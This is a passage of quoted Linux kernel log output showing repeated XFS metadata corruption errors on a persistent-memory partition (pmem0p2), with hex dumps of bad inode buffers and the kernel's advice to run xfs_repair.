41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670079] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670080] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670081] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670082] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670084] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670085] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670093] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670094] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670095] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670096] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670097] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670098] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670099] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670100] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670101] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670103] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670115] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670116] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670116] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670118] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670119] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670120] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670121] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670121] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670123] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670125] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670169] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670170] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670171] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670172] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670173] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670174] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670175] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670176] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670178] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670179] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670186] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670187] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670188] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670189] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670190] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670191] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670192] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670193] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670194] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670196] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670216] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670217] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670219] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670220] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670221] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670222] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670223] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670223] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670225] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670227] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670269] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670270] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670271] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670272] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670273] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670274] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670275] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670276] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670278] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670279] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670287] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670288] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670289] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670289] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670290] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670291] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670292] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670293] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670295] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670296] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670307] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670308] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670309] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670310] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670311] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670312] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670313] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670314] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670315] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670317] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670356] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670357] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670358] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670359] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670360] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670361] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670363] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670364] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670365] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670366] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670373] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670375] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670375] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670376] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670377] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670379] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670381] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670382] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670384] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670387] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670402] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670403] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670404] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670405] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670406] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670407] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670408] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670409] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670411] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670412] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670454] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670455] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670456] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670457] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670458] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670459] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670460] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670461] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670462] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670464] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670471] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670472] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670473] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670475] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670476] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670476] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670477] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670478] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670480] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670481] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670492] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670493] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670494] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670496] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670497] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670498] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670499] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670500] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670501] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670503] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670556] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670557] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670558] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670559] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670560] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670561] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670562] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670563] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670565] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670566] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670573] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670575] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670575] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670576] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670577] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670578] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670579] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670581] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670582] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670583] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670602] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670604] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670605] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670606] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670607] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670607] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670609] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670610] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670611] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670613] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670654] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670655] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670656] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670657] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670659] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670659] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670660] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670661] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670663] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670664] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670671] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670672] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670673] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670674] ffff88040e07f000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670675] ffff88040e07f010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670676] ffff88040e07f020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670677] ffff88040e07f030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670678] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670679] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670681] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670692] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670693] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670694] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670695] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670696] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670697] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670698] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670699] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670700] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670701] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670742] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670743] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670744] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670745] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670746] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670746] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670747] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670748] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670750] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670751] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670758] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670759] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670759] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670760] ffff8801fb9f0000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670761] ffff8801fb9f0010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670762] ffff8801fb9f0020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670763] ffff8801fb9f0030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670764] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670765] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670766] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670777] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670778] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670779] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670780] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670780] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670781] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670782] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670783] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670785] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670786] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670825] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670826] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670827] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670828] ffff8801fb9f0000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670829] ffff8801fb9f0010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670830] ffff8801fb9f0020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670830] ffff8801fb9f0030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670831] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670833] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670834] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670841] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670842] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670843] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670843] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670844] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670845] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670846] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670847] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670848] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670850] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670860] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670861] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670862] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670863] ffff8801fb9f0000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670864] ffff8801fb9f0010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670865] ffff8801fb9f0020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670866] ffff8801fb9f0030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670867] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670868] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670869] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670917] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670918] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670919] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670920] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670921] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670922] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670923] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670924] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670925] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670927] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670934] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670935] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670935] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670936] ffff8801fb9f0000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670937] ffff8801fb9f0010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670938] ffff8801fb9f0020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 